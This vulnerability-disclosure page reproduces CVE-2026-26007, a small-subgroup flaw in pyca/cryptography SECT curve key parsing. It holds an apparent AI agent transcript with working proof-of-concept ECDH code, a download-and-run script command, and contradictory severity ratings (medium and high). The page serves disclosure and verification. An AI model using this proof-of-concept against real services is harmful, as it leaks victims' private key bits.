Skip to content

CVE-2026-26007: Verified Repro With Script Download

CVE-2026-26007: pyca/cryptography SECT curve public key parsing lacks subgroup validation, enabling small-subgroup attacks that leak ECDH private key bits and allow ECDSA signature forgery.

CVE-2026-26007 is verified against the affected target. This medium reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00089.

REPRO-2026-00089 Feb 15, 2026 CVE entry ↗ .txt
Severity
MEDIUM
CVSS
6.5
Reproduced in
6m 32s
Tool calls
68
01 · Overview

What Is CVE-2026-26007?

CVE-2026-26007 (GHSA-R6PH-V2QM-Q3C2) is a high-severity vulnerability in pyca/cryptography where SECT curve public key parsing lacks subgroup validation, enabling small-subgroup attacks that leak ECDH private key bits and allow ECDSA signature forgery. Pruva reproduced it (reproduction REPRO-2026-00089).

02 · Severity & CVSS

CVE-2026-26007 Severity & CVSS Score

CVE-2026-26007 is rated medium severity, with a CVSS base score of 6.5 out of 10.

MEDIUM threat level
6.5 / 10 CVSS base
Weakness CWE-345

Medium — meaningful risk under specific conditions. Schedule a fix in the normal cycle.

How to Reproduce CVE-2026-26007

$ pruva-verify REPRO-2026-00089
or curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00089/artifacts/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh
Run in a VM or disposable container. This exploits a real vulnerability.
06 · Proof of Reproduction

Proof of Reproduction for CVE-2026-26007

Reproduced by Pruva's autonomous agents — 68 tool calls over 7 min. Full root-cause analysis and the complete transcript are below.

How the agent worked 102 events · 68 tool calls · 7 min
7 minDuration
68Tool calls
29Reasoning steps
102Events
1Dead-ends
Agent activity over 7 min
Support
6
Repro
36
Variant
56
0:0006:32

Root Cause and Exploit Chain for CVE-2026-26007

Summary

pyca/cryptography accepts SECT curve public keys without verifying subgroup membership. For curves with cofactor > 1 (e.g., SECT163K1), a malicious point of small order can be loaded and used in ECDH, causing the shared secret to depend only on the victim’s private key modulo the small subgroup order. This enables leakage of private key bits and breaks protocol security.

Impact

  • Package/component affected: pyca/cryptography EC public key parsing and construction paths (EllipticCurvePublicNumbers.public_key, load_der_public_key, load_pem_public_key).
  • Affected versions: <= 46.0.4 (per ticket).
  • Risk level and consequences: High. Small-subgroup points allow ECDH key leakage (private key mod small subgroup order) and can lead to ECDSA forgery in small subgroups.

Root Cause

The EC public key parsing/building logic relies on OpenSSL EC point construction without enforcing subgroup membership checks for binary SECT curves with nontrivial cofactor. In the Rust key parsing path (cryptography/src/rust/cryptography-key-parsing/src/spki.rs), points are accepted via EcPoint::from_bytes and EcKey::from_public_key without an explicit subgroup validation step. Similarly, EllipticCurvePublicNumbers.public_key() constructs a public key without verifying that the point is in the prime-order subgroup. This allows small-order points (e.g., order-2 point (0,1) on SECT163K1) to be accepted as valid public keys.

Reproduction Steps

  1. Run repro/reproduction_steps.sh.
  2. The script installs cryptography==46.0.4, constructs a small-subgroup SECT163K1 public key at point (0,1), and performs ECDH with private keys 1–4.
  3. Expected evidence: the point is accepted; odd private keys succeed with a constant shared secret, while even private keys fail, revealing private key parity (mod 2).

Evidence

  • Log file: logs/repro_output.txt
  • Key excerpts:
    • "accepted small-subgroup point (0,1) on SECT163K1"
    • d=1 status=ok ... and d=2 status=err ... demonstrating parity leakage.
  • Environment: Python 3 with cryptography==46.0.4 installed by the script.

Recommendations / Next Steps

  • Add explicit subgroup membership checks for SECT curves with cofactor > 1 when constructing or loading public keys.
  • Reject points not in the prime-order subgroup or perform cofactor multiplication validation.
  • Upgrade to a fixed cryptography release once available and add regression tests for small-subgroup points.

Additional Notes

  • Idempotent: running repro/reproduction_steps.sh repeatedly yields the same acceptance/leakage pattern.
  • Limitation: demonstration focuses on SECT163K1 order-2 subgroup; other SECT curves with higher cofactors are also affected.

CVE-2026-26007 Reproduction Transcript

The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.

Full session Replay every step — scrub the timeline or play it back.

Event 1/40
0:003:19
0:00
session startedgpt-4o · GHSA-R6PH-V2QM-Q3C2 · fff50764
0:05
0:08
0:12
web search
0:23
0:23
extract_facts
no facts extracted
0:25
0:25
supportrepro
0:38
0:38
0:38
0:58
0:58
0:58
$python3 -c "import cryptography,sys;print(cryptography.__version__)"
Traceback (most recent call last):
  File "<string>", line 1, in <module>
ModuleNotFoundError: No module named 'cryptography'
1:00
1:01
$python3 -m pip install --upgrade pip
1.0s
Defaulting to user installation because normal site-packages is not writeable
Requirement already satisfied: pip in /usr/lib/python3/dist-packages (24.0)
Collecting pip
  Downloading pip-26.0.1-py3-none-any.whl.metadata (4.7 kB)
Downloading pip-26.0.1-py3-none-any.whl (1.8 MB)
   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 1.8/1.8 MB 21.4 MB/s eta 0:00:00
Installing collected packages: pip
Successfully installed pip-26.0.1
1:05
$python3 -m pip install 'cryptography==46.0.4'
1.0s
Defaulting to user installation because normal site-packages is not writeable
Collecting cryptography==46.0.4
  Downloading cryptography-46.0.4-cp311-abi3-manylinux_2_34_aarch64.whl.metadata (5.7 kB)
Collecting cffi>=2.0.0 (from cryptography==46.0.4)
  Downloading cffi-2.0.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl.metadata (2.6 kB)
Collecting pycparser (from cffi>=2.0.0->cryptography==46.0.4)
  Downloading pycparser-3.0-py3-none-any.whl.metadata (8.2 kB)
Downloading cryptography-46.0.4-cp311-abi3-manylinux_2_34_aarch64.whl (4.3 MB)
1:29
1:33
web search
1:53
1:53
1:58
$python3 -m pip install galois
5.3s
{"cwd":"/data/pruva/runs/fff50764-d65a-4ab0-a7a0-f0c09b35b8c8","duration_ms":5291,"exit_code":0,"stderr":"  WARNING: The scripts f2py and numpy-config are installed in '/home/vscode/.local/bin' which is not on PATH.\n  Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location.\n","stdout":"Defaulting to user installation because normal site-packages is not writeable\nCollecting galois\n  Downloading galois-0.4.10-py3-none-any.whl.metadata (14 kB)\nCollecting numpy>=1.21.0 (from galois)\n  Downloading numpy-2.4.2-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl.metadata (6.6 kB)\nCollecting numba>=0.55 (from galois)\n  Downloading numba-0.63.1-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl.metadata (2.9 kB)\nCollecting typing_extensions>=4.0.0 (from galois)\n  Downloading typing_extensions-4.15.0-py3-none-any.whl.metadata (3.3 kB)\nCollecting llvmlite<0.47,>=0.46.0dev0 (from numba>=0.55->galois)\n  Downloading llvmlite-0.46.0-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl.metadata (5.0 kB)\nCollecting numpy>=1.21.0 (from galois)\n  Downloading numpy-2.3.5-cp312-cp312-manylinux_2_27_aarc… [truncated]
2:03
$python3 - <<'PY' from cryptography.hazmat.primitives.asymmetric import ec from cryptography.hazmat.backends import default_backend curve = ec.SECT163K1() # Try small points like (0,0), (0,1) for x,y in [(0,0),(0,1)]: try: pub_numbers = ec.EllipticCurvePublicNumbers(x,y,curve) pub = pub_numbers.public_key(default_backend()) print('accepted', x,y, pub) except Exception as e: print('reject', x,y, e) PY
reject 0 0 Invalid EC key. Point is not on the curve specified.
accepted 0 1 <cryptography.hazmat.bindings._rust.openssl.ec.ECPublicKey object at 0xf1ec8b217f70>
2:13
2:13
2:13
$python3 - <<'PY' from cryptography.hazmat.primitives.asymmetric import ec from cryptography.hazmat.backends import default_backend curve = ec.SECT163K1() # construct public key with point (0,1) public_numbers = ec.EllipticCurvePublicNumbers(0,1,curve) public_key = public_numbers.public_key(default_backend()) # Try two private keys with known values using derive_private_key for d in [1,2,3,4,5,6]: priv = ec.derive_private_key(d, curve, default_backend()) try: secret = priv.exchange(ec.ECDH(), public_key) print(d, secret.hex()) except Exception as e: print('d', d, 'error', e) PY
1 000000000000000000000000000000000000000000
d 2 error Error computing shared key.
3 000000000000000000000000000000000000000000
d 4 error Error computing shared key.
5 000000000000000000000000000000000000000000
d 6 error Error computing shared key.
2:26
2:26
2:30
$git clone https://github.com/pyca/cryptography.git /data/pruva/runs/fff50764-d65a-4ab0-a7a0-f0c09b35b8c8/cryptography
3.4s
Cloning into '/data/pruva/runs/fff50764-d65a-4ab0-a7a0-f0c09b35b8c8/cryptography'...
2:31
2:53
2:53
2:53
2:55
3:14
3:14
3:14
#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

python3 -m pip install --user "cryptography==46.0.4" >"$LOGS/pip_install.txt" 2>&1

python3 - <<'PY' >"$LOGS/repro_output.txt" 2>&1
import sys
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.backends import default_backend

curve = ec.SECT163K1()
# Small-subgroup point of order 2 for this curve (on-curve, cofactor>1)
pub_numbers = ec.EllipticCurvePublicNumbers(0, 1, curve)
3:18
$bash repro/reproduction_steps.sh
0.2s
Reproduction complete. See /data/pruva/runs/fff50764-d65a-4ab0-a7a0-f0c09b35b8c8/logs/repro_output.txt
3:19
$bash repro/reproduction_steps.sh
0.2s
Reproduction complete. See /data/pruva/runs/fff50764-d65a-4ab0-a7a0-f0c09b35b8c8/logs/repro_output.txt

Artifacts and Evidence for CVE-2026-26007

Scripts, logs, diffs, and output captured during the reproduction.

No artifacts available

08 · How to Fix

How to Fix CVE-2026-26007

Coming soon

Step-by-step mitigation and hardening guidance for CVE-2026-26007 — configuration checks, workarounds where no patch exists, and how to verify you're protected — is on the way.

10 · FAQ

FAQ: CVE-2026-26007

How does the CVE-2026-26007 small-subgroup attack work?

For curves with cofactor greater than 1, such as SECT163K1, an attacker submits a malicious public key that is actually a point of small order — for example the order-2 point (0,1) — instead of a point in the prime-order subgroup. Because subgroup membership is never checked, the library accepts it, and using it in ECDH causes the shared secret to depend only on the victim's private key modulo that small subgroup order, leaking private key bits and potentially enabling ECDSA forgery.

How severe is CVE-2026-26007?

It is rated high severity: small-subgroup points allow ECDH private-key leakage (modulo the small subgroup order) and can lead to ECDSA forgery in small subgroups, affecting versions up to and including 46.0.4 per the advisory.

How can I reproduce CVE-2026-26007?

Download the verified script from this page and run it in an isolated environment. It installs cryptography==46.0.4, constructs a malicious SECT163K1 public key using a small-order point such as (0,1), and demonstrates that the library accepts it as valid without a subgroup-membership check.
11 · References

References for CVE-2026-26007

Authoritative sources for CVE-2026-26007 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.